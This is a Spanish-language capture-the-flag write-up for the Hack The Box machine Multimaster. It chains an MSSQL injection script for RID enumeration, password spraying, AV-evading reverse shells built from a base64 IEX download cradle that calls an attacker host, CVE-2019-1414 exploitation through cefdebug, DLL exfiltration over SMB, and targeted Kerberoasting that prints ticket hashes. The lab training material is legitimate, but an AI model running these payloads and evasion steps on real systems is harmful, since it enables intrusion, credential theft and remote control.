S-1-5-21-3167813660-1240564177-918740779-

[+] Enumerating Active Directory via SIDs...
[+] Determining users...

MEGACORP\\DnsAdmins
MEGACORP\\DnsUpdateProxy
MEGACORP\\svc-nas
MEGACORP\\tushikitatomo
MEGACORP\\andrew
MEGACORP\\lana

[+] Determining network hosts...
MEGACORP\\MULTIMASTER$

[+] Determining groups...
MEGACORP\\Privileged IT Accounts


[!] Finished!

Mon, 13 Jan 2025 16:51:44

RID Enumeration on MSSQL Injection with Python script

Tambiรฉn hemos creado el siguiente script en Python que cumple el mismo funcionamiento.

RID Enum MSSQL
import json
import requests
from time import sleep
# URL de destino al que se enviarรกn las peticiones.
url = 'http://10.10.10.179/api/getColleagues'

# Esta funciรณn se encarga de codificar el payload de la peticiรณn.
def encode_me(str):
    val = []
    # Iteramos sobre cada carรกcter en la cadena 'str'.
    for i in str:
        # Convertimos cada carรกcter a su equivalente en hexadecimal y lo agregamos con el prefijo "\\u00".
        val.append("\\u00"+hex(ord(i)).split("x")[1])
    
    # Unimos todos los valores generados en una cadena final.
    return ''.join([i for i in val])

# Iteramos sobre una serie de nรบmeros del 1000 al 1200.
for i in range(1000,1200):
    i = hex(i)[2:].upper()  # Convertimos el nรบmero a su representaciรณn hexadecimal y lo convertimos a mayรบsculas.
    if len(i) < 4:
        i = '0' + i  # Aseguramos que siempre tengamos cuatro caracteres en el nรบmero hexadecimal.

    # Reversamos los bytes del nรบmero hexadecimal.
    t = bytearray.fromhex(i)
    t.reverse()  # Invertimos los bytes.
    t = ''.join(format(x,'02x') for x in t).upper()+'0'*4  # Formateamos los bytes invertidos en mayรบsculas.

    # Construimos el SID a partir del nรบmero hexadecimal procesado.
    sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)

    # Creamos el payload que se enviarรก en la peticiรณn, buscando la funciรณn SUSER_SNAME.
    payload = "hello' UNION SELECT 1,SUSER_SNAME({}),3,4,5--".format(sid)  
    r = requests.post(url,data='{"name":"'+ encode_me(payload) + '"}',headers={'Content-Type': 'Application/json'})

    # Convertimos la respuesta a un objeto JSON para obtener el nombre del usuario.
    user = json.loads(r.text)[0]["name"]

    # Si se encontrรณ un usuario, lo imprimimos.
    if user:
        print(user)

    # Hacemos una pausa entre las peticiones para evitar ser detectado por sistemas de seguridad (WAF).
    sleep(3)

Al proceder a ejecutar el script creado, revisaremos que nos muestra nombres de usuarios y lo que parecen ser grupos de seguridad.

โฏ python3 ridenum_mssql.py
MEGACORP\MULTIMASTER$
MEGACORP\DnsAdmins
MEGACORP\DnsUpdateProxy
MEGACORP\svc-nas
MEGACORP\Privileged IT Accounts
MEGACORP\tushikikatomo
MEGACORP\andrew
MEGACORP\lana

Initial Access

Password Spraying

Guardaremos estos nuevos usuarios en el archivo que disponรญamos users.txt y procederemos a intentar validar nuevamente a travรฉs de Password Spraying. Verificamos que hemos logrado obtener credenciales vรกlidas para el usuario tushikikatomo@megacorp.local.

โฏ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
...[snip]...
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\tushikikatomo:finance1 
...[snip]...

LDAP Enumeration (ldapdomaindump)

Al obtener credenciales vรกlidas de un usuario del dominio, procederemos a realizar un dump del LDAP para obtener mรกs informaciรณn relevante.

โฏ ldapdomaindump -u 'sequel.htb\tushikikatomo' -p 'finance1' 10.10.10.179 -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

โฏ cd ldap

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Al revisar los archivos HTML generados por la herramienta de ldapdomaindump, verificamos todos los nombres de usuario del dominio existentes.

Por otro lado, revisando el grupo Remote Management Users, verificamos que el usuario que disponemos actualmente forma parte de dicho grupo, por lo tanto, si el servicio WinRM o RDP se encuentran habilitados podrรญamos conectarnos al equipo.

Abusing WinRM - EvilWinRM

Procederemos a autenticarnos al WinRM mediante la herramienta de evil-winrm y verificamos el correcto acceso y la flag de user.txt.

โฏ evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents> type ../Desktop/user.txt
2b2455fff8**********************

Lateral Movement to cyork user

Revisando los directorios donde estรก montado el IIS (Internet Information Services) verificamos que no disponemos de acceso al directorio wwwroot.

*Evil-WinRM* PS C:\inetpub\wwwroot> ls
Access to the path 'C:\inetpub\wwwroot' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

CEF Debugging Background (CVE-2019-1414)

Revisando las aplicaciones que se encuentran instaladas, verificamos que en la mรกquina se encuentra instalado la aplicaciรณn de Microsoft Visual Studio Code.

*Evil-WinRM* PS C:\Program Files> ls


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019  10:59 AM                Common Files
d-----         1/9/2020   2:39 PM                Internet Explorer
d-----         1/7/2020   9:40 PM                Microsoft
da----         1/7/2020   7:47 PM                Microsoft SQL Server
d-----         1/7/2020   7:26 PM                Microsoft Visual Studio 10.0
da----         1/9/2020   3:18 AM                Microsoft VS Code
d-----         1/7/2020   7:27 PM                Microsoft.NET
d-----         1/7/2020   9:43 PM                Reference Assemblies
d-----        7/19/2021   1:07 AM                VMware
d-r---         1/9/2020   2:46 PM                Windows Defender
d-----         1/9/2020   2:39 PM                Windows Mail
d-----         1/9/2020   2:39 PM                Windows Media Player
d-----        7/16/2016   6:23 AM                Windows Multimedia Platform
d-----        7/16/2016   6:23 AM                Windows NT
d-----         1/9/2020   2:39 PM                Windows Photo Viewer
d-----        7/16/2016   6:23 AM                Windows Portable Devices
d-----        7/16/2016   6:23 AM                WindowsPowerShell

Revisando la versiรณn del Microsoft VS Code que se encuentra instalada en el equipo, verificamos que se trata de una versiรณn vulnerable al Remote Code Execution (CVE-2019-1414).

*Evil-WinRM* PS C:\Program Files\Microsoft VS Code> (Get-Command .\Code.exe).version

Major  Minor  Build  Revision
-----  -----  -----  --------
1      37     1      0

Revisando los procesos que se encuentran en ejecuciรณn, verificamos que hay procesos sobre la aplicaciรณn en funcionamiento, por lo que podrรญamos llegar a pensar que hay alguien ejecutando estos procesos.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    314      30    49612      73404               180   1 Code
    612      41    38972      82612               520   1 Code
    285      51    58000      74612              3144   1 Code
    406      22    15100      24416              3288   1 Code
    418      55   133956     170140              6368   1 Code
    200      15     6164      12856              6860   1 Code
...[snip]...

Esta es la descripciรณn del CVE que hemos encontrado, se aprovecha del debug listener para lograr ejecutar comandos y escalar privilegios.

Por lo tanto, procederemos a descargarnos el binario de cefdebug.exe del siguiente repositorio de GitHub.

LogoGitHub - taviso/cefdebug: Minimal code to connect to a CEF debugger.GitHub

Una vez tengamos el binario en nuestro equipo atacante, procederemos a levantar un servidor web con Python para compartir este archivo al equipo vรญctima.

โฏ ls
๏…บ cefdebug.exe  ๎˜‰ README.md

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo vรญctima (Windows), procederemos a descargarnos el binario de cefdebug.exe y lo depositaremos en la siguiente ruta C:\Windows\System32\spool\drivers\color para que el AppLocker no nos impida ejecutarlo.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IWR -Uri http://10.10.16.5/cefdebug.exe -OutFile cef.exe

Por otro lado, lo que probaremos primero de todo es revisar si desde el equipo vรญctima nos podemos establecer una Reverse Shell con los scripts de Nishang. En este caso, el script que utilizaremos es el de Invoke-PowerShellTcp.ps1.

Logonishang/Invoke-PowerShellTcp.ps1 at master ยท samratashok/nishangGitHub

En una terminal de nuestro equipo atacante, nos pondremos en escucha para recibir la Reverse Shell.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Renombraremos el archivo Invoke-PowerShellTcp.ps1 a rev.ps1 para que nos sea mรกs cรณmodo trabajar con este archivo y que pase mรกs desapercibido por el AV (Antivirus).

Deberemos de editar el script y aรฑadir al final de este mismo, la lรญnea que nos permite realizar la Reverse Shell, la adaptaremos con nuestra direcciรณn IP de atacante y el puerto por donde nos encontramos en escucha con nc.

Volveremos nuevamente a levantar un servidor web con Python para compartir este archivo con la mรกquina vรญctima.

โฏ tail -n 1 rev.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.5 -Port 443

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde la mรกquina comprometida, procederemos a ejecutar en memoria la Reverse Shell que estamos compartiendo desde nuestro servidor web. Verificamos que el script ha sido detectado por el AV (Antivirus) y nos lo ha bloqueado.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev.ps1")
At line:1 char:1
+ function Invoke-PowerShellTcp
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:1
+ IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>

Para intentar evitar que nos detecte el AV el script de la Reverse Shell, procederemos a modificar el archivo que disponemos rev.ps1para eliminarle las lรญneas donde hay comentarios y a modificar el nombre de la funciรณn para que no sea detectado. Deberemos de cambiar el nombre de la funciรณn de la primera y รบltima sentencia por una nueva que pase desapercibida.

Una vez modificado el script rev.ps1, procederemos a ejecutar en memoria nuevamente el Script y en este caso verificamos que hemos logrado obtener la Reverse Shell correctamente.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49918
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\System32\spool\drivers\color>whoami
megacorp\tushikikatomo

Por otro lado, para que sea menos detectable la ejecuciรณn del IEX para obtener la Reverse Shell, lo que realizaremos es codificar en Base64 de Windows el comando utilizado.

โฏ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==

Desde el equipo vรญctima, procederemos a ejecutar en una PowerShell el comando codificado en Base64.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell -e <BASE64_CODE>

Verificaremos nuevamente que nos funciona correctamente la ejecuciรณn del IEX codificado en Base64.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49937
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\System32\spool\drivers\color>

Una vez comprobado que podemos establecernos una Reverse Shell a travรฉs de un comando codificado en Base64, el siguiente paso serรก intentar realizar la explotaciรณn del CVE encontrado.

El primer paso serรก ejecutar el cef.exe (cefdebug) para realizar un escaneo de la mรกquina y verificar los servidores que se encuentran abiertos que parecen ser CEF debuggers.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe
cef.exe : [2025/01/13 11:09:28:7999] U: There are 3 tcp sockets in state listen.
    + CategoryInfo          : NotSpecified: ([2025/01/13 11:...n state listen.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2025/01/13 11:09:48:8442] U: There were 1 servers that appear to be CEF debuggers.
[2025/01/13 11:09:48:8442] U: ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3

Con el servidor obtenido, procederemos a realizar una ejecuciรณn del comando whoami para almacenar el resultado de la ejecuciรณn del comando realizado en un archivo TXT y visualizar si hemos logrado ejecutar comandos arbitrarios.

Al verificar el TXT que se nos ha generado, verificamos que el resultado del comando utilizado nos muestra que quien ejecuta el comando es el usuario cyork@megacorp.local.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('whoami > C:\\Windows\\System32\\spool\\drivers\\color\\gzzcoo.txt')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ls


    Directory: C:\Windows\System32\spool\drivers\color


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/13/2025  11:09 AM         259584 cef.exe
-a----        7/16/2016   6:18 AM           1058 D50.camp
-a----        7/16/2016   6:18 AM           1079 D65.camp
-a----        7/16/2016   6:18 AM            797 Graphics.gmmp
-a----        1/13/2025  11:13 AM             16 gzzcoo.txt
-a----        7/16/2016   6:18 AM            838 MediaSim.gmmp
-a----        7/16/2016   6:18 AM            786 Photo.gmmp
-a----        7/16/2016   6:18 AM            822 Proofing.gmmp
-a----        7/16/2016   6:18 AM         218103 RSWOP.icm
-a----        7/16/2016   6:18 AM           3144 sRGB Color Space Profile.icm
-a----        7/16/2016   6:18 AM          17155 wscRGB.cdmp
-a----        7/16/2016   6:18 AM           1578 wsRGB.cdmp


*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type gzzcoo.txt
megacorp\cyork

Sabiendo que quien ejecuta los comandos es otro usuario, la idea serรก lograr ejecutar una Reverse Shell para obtener acceso como el usuario reciรฉn mencionado. Utilizaremos el servidor que hemos encontrado y al ejecutar en una PowerShell el comando IEX anteriormente codificado en Base64 para que a la hora de ejecutar el comando sea descodificado y asรญ lograr obtener la Reverse Shell.

Previamente de la ejecuciรณn del comando, deberemos de ponernos en escucha con nc en nuestra Kali.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3

Verificamos que hemos logrado obtener acceso correctamente como el usuario cyork@megacorp.local.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49824
Windows PowerShell running as user cyork on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files\Microsoft VS Code>whoami
megacorp\cyork

Lateral Movement to sbauer user

MultimasterAPI.dll

Revisando los privilegios, permisos que disponemos con el usuario cyork, verificamos que disponemos acceso del directorio C:\inetpub\wwwroot\bin en la cual despuรฉs de una gran revisiรณn verificamos que al parecer hay un DLL nombrado MultimasterAPI.dll.

Este DLL se trata de una API (Application Programming Interface) personalizada de la pรกgina web del equipo. Como en mรกquinas de HTB anteriores, los archivos DLL suelen tener informaciรณn sensible.

PS C:\inetpub\wwwroot\bin> ls


    Directory: C:\inetpub\wwwroot\bin


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                          
        
d-----         1/7/2020   9:28 PM                roslyn                                                                
-a----        2/21/2013   7:13 PM         102912 Antlr3.Runtime.dll                                                    
-a----        2/21/2013   7:13 PM         431616 Antlr3.Runtime.pdb                                                    
-a----        5/24/2018   1:08 AM          40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll                
-a----        7/24/2012  11:18 PM          45416 Microsoft.Web.Infrastructure.dll                                      
-a----         1/9/2020   4:13 AM          13824 MultimasterAPI.dll                                                    
-a----         1/9/2020   4:13 AM          28160 MultimasterAPI.pdb                                                    
-a----        2/17/2018   8:14 PM         664576 Newtonsoft.Json.dll                                                   
-a----       11/27/2018  11:30 PM         178808 System.Net.Http.Formatting.dll                                        
-a----       11/27/2018  11:28 PM          27768 System.Web.Cors.dll                                                   
-a----        1/27/2015   2:34 PM         139976 System.Web.Helpers.dll                                                
-a----       11/27/2018  11:31 PM          39352 System.Web.Http.Cors.dll                                              
-a----       11/27/2018  11:31 PM         455096 System.Web.Http.dll                                                   
-a----        1/31/2018  10:49 PM          77520 System.Web.Http.WebHost.dll                                           
-a----        1/27/2015   2:32 PM         566472 System.Web.Mvc.dll                                                    
-a----        2/11/2014   1:56 AM          70864 System.Web.Optimization.dll                                           
-a----        1/27/2015   2:32 PM         272072 System.Web.Razor.dll                                                  
-a----        1/27/2015   2:34 PM          41672 System.Web.WebPages.Deployment.dll                                    
-a----        1/27/2015   2:34 PM         211656 System.Web.WebPages.dll                                               
-a----        1/27/2015   2:34 PM          39624 System.Web.WebPages.Razor.dll                                         
-a----        7/17/2013   4:33 AM        1276568 WebGrease.dll 

Para compartirnos este archivo de la mรกquina vรญctima a nuestra mรกquina local, desde esta รบltima procederemos a levantar un servidor SMB con smbserver.py.

โฏ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Al tener nuestro servidor SMB montado, procederemos a realizar una copia al servidor SMB que disponemos.

PS C:\inetpub\wwwroot\bin> copy MultimasterAPI.dll \\10.10.16.5\smbFolder\MultimasterAPI.dll

Verificamos en nuestro equipo local que disponemos del archivo DLL correctamente transferido.

โฏ ls -l MultimasterAPI.dll
.rwxrwxr-x kali kali 14 KB Thu Jan  9 22:22:44 2020 ๏…บ MultimasterAPI.dll

Debugging with dnSpy

Procederemos a depurar el archivo DLL a travรฉs de la herramienta de dnSpy que podemos encontrar en el siguiente repositorio de GitHub. En este caso, hemos transferido el archivo en una VM de Windows para realizar el anรกlisis.

LogoGitHub - dnSpy/dnSpy: .NET debugger and assembly editorGitHub

Al realizar una enumeraciรณn del DLL, revisamos que aparece en texto plano las siguientes credenciales D3veL0pM3nT!.

Password Spraying

Al realizar un Password Spraying sobre la contraseรฑa encontrada y el listado de usuarios del dominio que disponemos, verificamos que esta

โฏ nxc smb 10.10.10.179 -u users.txt -p 'D3veL0pM3nT!' --continue-on-success
...[snip]...
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT! 
...[snip]...

BloodHound Enumeration

A continuaciรณn, procederemos a realizar una enumeraciรณn del dominio entero a travรฉs de BloodHound. El siguiente comando nos crearรก un archivo .zip el cual contendrรก toda la informaciรณn del dominio. Lo que buscamos en realizar esta enumeraciรณn es buscar posibles vectores de ataque para escalar nuestros privilegios.

โฏ bloodhound-python -c All -ns 10.10.10.179 -u 'tushikikatomo' -p 'finance1' -d megacorp.local --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: megacorp.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 28 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MULTIMASTER.MEGACORP.LOCAL
INFO: Done in 00M 16S
INFO: Compressing output into 20250113181515_bloodhound.zip

Revisando en BloodHound, verificamos que solamente el usuario Administrator es un Domain Admin.

Revisando si existe algรบn usuario que sea susceptible a Kerberoasting Attack, es decir, aquellos usuarios que tengan un SPN (ServicePrincipalName) para solicitar posteriormente un TGS (Ticket Granting Service).

En este caso, verificamos que no hay ningรบn usuario que sea Kerberostable.

Al verificar si algรบn usuario dispone de la flag (DONT_REQ_PREAUTH) de Kerberos para realizar un AS-REP Roast Attack y asรญ lograr obtener un TGT (Ticket Granting Ticket), verificamos que ningรบn usuario tiene configurado esa opciรณn.

Enumerando a travรฉs de BloodHound, verificamos que el usuario que disponemos actualmente sbauer@megacorp.local dispone de privilegios GenericWrite sobre el usuario jorden@megacorp.local.

Este permiso lo que nos permite es la habilidad de escribir en atributos no protegidos sobre el objeto objetivo. Por ejemplo, podemos asignarle la flag de (DONT_REQ_PREAUTH) para que el usuario objetivo sea susceptible al AS-REP Roast Attack o asignarle un SPN (ServicePrincipalName) fรญcticio para que el usuario sea Kerberostable y obtener el TGS (Ticket Granting Service) para obtener el hash y posteriormente crackearlo.

Lateral Movement to jorden user

Abusing GenericWrite privileges to assign an SPN for performing a Kerberoasting attack

En esta primera secciรณn, lo que realizaremos es asignarle un SPN (ServicePrincipalName) ficticio al usuario objetivo jorden@megacorp.local para obtener el TGS (Ticket Granting Service), es decir, un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseรฑa en texto plano.

Antes de la explotaciรณn

Tal como habรญamos verificado en la enumeraciรณn de BloodHound, no habรญa ningรบn usuario que sea Kerberostable. Esto lo hemos podido comprobar nuevamente tal y como nos indica el resultado del ataque de Kerberoasting Attack realizado.

โฏ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
No entries found!

Despuรฉs de la explotaciรณn

Para realizar la explotaciรณn y abusar del privilegio GenericWrite sobre el usuario y asignarle un SPN ficticio, lo podremos hacer a travรฉs de las herramientas bloodyAD y impacket-GetUserSPNs.

A travรฉs del primer comando, lo que realizamos es asignarle un SPN (ServicePrincipalName) ficticio al usuario. Al volver a lanzar el ataque de Kerberoasting Attack, verificamos que ahora si nos aparece que haya un usuario Kerberoastable y nos devuelve el hash TGS (Ticket Granting Service).

โฏ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' set object "jorden" servicePrincipalName -v "cifs/gzzcoo"
[+] jorden's servicePrincipalName has been updated

โฏ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
ServicePrincipalName  Name    MemberOf                                      PasswordLastSet             LastLogon  Delegation 
--------------------  ------  --------------------------------------------  --------------------------  ---------  ----------
cifs/gzzcoo           jorden  CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL  2020-01-10 01:48:17.503303  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$2a6e1db70bc6b71b9dde07b99f410654$9c192702404f1ad82ae704a5cc8f6cb84ab26ab33e52864e7371fbad87df5b2f893a148f5f752784ec5e9f4a1f65479f357ec58103478ffebfec3b5801b54416f2c1f82ea7a7a83903717992feb83029c3b845d09db12ab3314d26953e819e78db0be5d32b02e3c1e3c4b290cd49f4cb74b0d843c55c6816d8f2c5c987047fd925178e89025601cdd958ed26d055403964842e297d2702734db02b9f23b127a22e56c5a4110cc9354f4f62931534820587d99243a6dca00fe7d209fb069f17b36b0743c7b6d2b4b8627dff9741d585967168d4a6fea18dbfcfa63160fabaa92317882f95adac2a5aae29b00527f7163e026d20287f0c772fea5f45527e3544cf1b4155510238ede88d8c40c73bfc80ed5cfd4efea78e77f0b539731ebb1165571e8b90d023f4784b744818cc9cd17ed3b91f67c1595f729b02eec154fef1b06ad4830b024892e8e1ff6601af120fbbf25ef7d444d3e99d625ecf8fcf7dd837bebc8f19a4eab05f2d63c628ce8361ded918ee7441d2a64c6d73ee71c576598c13bc04b6e98b84bb1340ac0ead118efcf3d1ece3789c297504a309c92247d0e021854c4d931caca5f87d6401cf8bdd17d9e6d4cba8270d2482636cd47cecf3f0b96c1807164ea04e7a09f44e7bfd4361ff0ae9ac23de5d51c5cbbecf51f17f3145eac49ddb20f0ab03f7697fe9298ed68a1110a90e8b49c528698e189742efc019a59c3f4cfb4edfc23307d14557b9bb3d8e5d12c4a5f4614ed1fefd90fb42217c0fa3031a317d0db5c96fed0e579a1b77d41a883e9f62dfe7d94d9a65c716c457712e2d86cdf242be44dd4ec530eebd5bd9ef61b31d1b39a8e6a8dc350533ffd782c9bd42b040b462fdb1a44454412bf6a6d4f709273b8cdebc827cdd2e9357fa834f58651320aeb836c2e66f383d6fe5b38eff2f625d604cd5cef2206f1e3a9f9e69a80a630bf4f9d9c16b1010488edb3d4af5667df8ea8b37f365294d655410366a47991dec36cc09058c321b99fbc8641b6c0df3d73e158cd9ed754a1cbd394587610f1643f3d06191911b21d3e446ce0b85c065f3848c61aa5f1b2a7dbc1d34a9079f3f9645ebffa9c2ead6e1f8fecfba87127f6ed9870d6c0ee34690dc589eeb153880ee92c5ef9841a0e17b0c87365f45d55d4e42c2c9aae388b52a353c8268b7bd769fc186d55e6dd835e8e0c750bc6eb24f67aba0c502d4f09f7ab793b328abd920862b9401255677bed9b92f097a40e8cbf67746e371d85858c2bcf49d426d344fd52341cf722bf426df7efdca897be63777960bacb12890979917e3a6d59bd7dace8255d551230af4db1f8faf45cd9815a39e0e0713d738fbee36b1cfd67e2f57d49f8d37418a494a

Otra de las herramientas para realizar este tipo de ataques de asignar un SPN ficticio a un usuario el cual dispongamos de privilegios, es a travรฉs de la herramienta de targetedKerberoast.

LogoGitHub - ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilitiesGitHub

Esta herramienta automatiza el ataque de Kerberoasting Attack, solamente nos hace falta disponer de un usuario que tenga privilegios sobre otro para asignarle el SPN y la propia herramienta buscarรก a los usuarios objetivos, les asignarรก un SPN ficticio y nos imprimirรก los hashes obtenidos.

Para finalizar, la propia herramienta eliminarรก el SPN temporal asignado a los usuarios objetivos para evitar dejar rastro.

โฏ python3 /opt/targetedKerberoast/targetedKerberoast.py --dc-ip 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (jorden)
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$be06863d92e9721cc729f5e1eec12a2a$718d4eb0c3399da1f6cd0d3bee36bf1ec785617a598d1af2f7489db8ad0f92b36fb3e6dcf8e415d545062a304dbe127d7ad35e4647d57745093f0feeae5358914a33c3037a42edba8208cc411a9794d3fe0fb0f9c580e84184c6739dff9fbd2d66a4f89cd32a39a19c112fcb576bce48ac5ad0b7ae0ff0dbc9e8de85b1ca7423f82b78af866ccd9c71ceb05f8241121fd4ec9d9754d85ce8482b83676e8ba1d4c68783f174c5b12c89fa2dd72570107d2689304411ade47e1aa2ae120da74b7b718fd2547f960ce5c73c296f861b6c16483600bc9f109c8884b676e463a5ff354eec41d26ff87c88ff6d2dd4555e46c2aada265ceffd16f4ebe221ce999d9018bd6ea8125bd5f9c8e8e3cd10abf8c40c503d5e4bb18a430b140ad9dabc51131c45bfb105ea7d2f384b669fc7db91647b70f8929cb25c760313f1b6f836e28b40009b39337dcdf9fa4ca51a2cfffaa245b4024fd653141ad1e70d0753dd47b35002a55c5e124ffbe925d38a5aec3022892870f2e69773038c0009886e58cdebbda89030a2a8a8c0cbb97f8b16c2c0b341ff51eb90afb3303787ab942a14a5b24a17a2d9df4c2aa1358b70cf0958c3e8e88d1a9b5556d6751bb572bc91db79a3035e16d00ecd57f1eb7174cad879dea5a37e41e6842b8d2761ac0a00fe069436378c8d754b4c3614847e9660b62b302e2177410818115502d06312075a0e7af46f855cced6978e01d1df9a0c0ad4d9b4deb7c47bc9f19711f5edbe41b0df905d5d552351de2201ca0471266a64279970fdd7a1d600470a60f7b87e0393bf75fa773ff121a4cfacdb3f443659ca3c53da14a695179e7772382aa88e43ef86f3e462e2a37d39e22ea7589ac7e649e35b6113f656b6deb69b0ea5f42e55c88fea06716b37b1a089e6da8442983f0f8c1868a86455d766f17aa6c5ab965fc27a2058f70faaa0d24241e7cb594ccfdd33566b6a9b9595610b1f63968b2d2c27e0954d2bf009de3c438f6fbce841e5d4f3277c8e90554a76252951a489b9eacf3091c6da86873872c573fee255c8cc2ee0544afc2afc553c2c76531592c42935e4249dedb04409ef9594ecb723c8226cac72fa1eec0275c1b62d197bcc78dd3cc82a91664479e8724fb9308461e30a2a5e546b34d367fe52b3abc845ce23d